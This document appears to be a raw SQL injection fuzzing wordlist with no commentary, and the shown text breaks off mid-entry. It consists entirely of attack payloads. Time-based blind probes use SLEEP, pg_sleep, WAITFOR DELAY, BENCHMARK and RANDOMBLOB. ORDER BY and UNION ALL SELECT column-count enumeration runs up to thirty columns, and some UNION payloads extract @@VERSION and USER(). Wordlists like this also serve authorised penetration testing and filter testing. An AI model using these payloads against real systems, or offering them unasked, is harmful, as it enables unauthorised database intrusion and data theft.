benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ORDER BY SLEEP(5) ORDER BY 1,SLEEP(5) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ORDER BY SLEEP(5)# ORDER BY 1,SLEEP(5)# ORDER BY 1,SLEEP(5),3# ORDER BY 1,SLEEP(5),3,4# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# ORDER BY SLEEP(5)-- ORDER BY 1,SLEEP(5)-- ORDER BY 1,SLEEP(5),3-- ORDER BY 1,SLEEP(5),3,4-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 1 UNION ALL SELECT 1,2 UNION ALL SELECT 1,2,3 UNION ALL SELECT 1,2,3,4 UNION ALL SELECT 1,2,3,4,5 UNION ALL SELECT 1,2,3,4,5,6 UNION ALL SELECT 1,2,3,4,5,6,7 UNION ALL SELECT 1,2,3,4,5,6,7,8 UNION ALL SELECT 1,2,3,4,5,6,7,8,9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 1# UNION ALL SELECT 1,2# UNION ALL SELECT 1,2,3# UNION ALL SELECT 1,2,3,4# UNION ALL SELECT 1,2,3,4,5# UNION ALL SELECT 1,2,3,4,5,6# UNION ALL SELECT 1,2,3,4,5,6,7# UNION ALL SELECT 1,2,3,4,5,6,7,8# UNION ALL SELECT 1,2,3,4,5,6,7,8,9# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT 1-- UNION ALL SELECT 1,2-- UNION ALL SELECT 1,2,3-- UNION ALL SELECT 1,2,3,4-- UNION ALL SELECT 1,2,3,4,5-- UNION ALL SELECT 1,2,3,4,5,6-- UNION ALL SELECT 1,2,3,4,5,6,7-- UNION ALL SELECT 1,2,3,4,5,6,7,8-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION SELECT @@VERSION,SLEEP(5),3 UNION SELECT @@VERSION,SLEEP(5),USER(),4 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION SELECT @@VERSION,SLEEP(5),"'3 UNION SELECT @@VERSION,SLEEP(5),"'3'"# UNION SELECT @@VERSION,SLEEP(5),USER(),4# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT USER()-- UNION ALL SELECT SLEEP(5)-- UNION ALL SELECT USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT 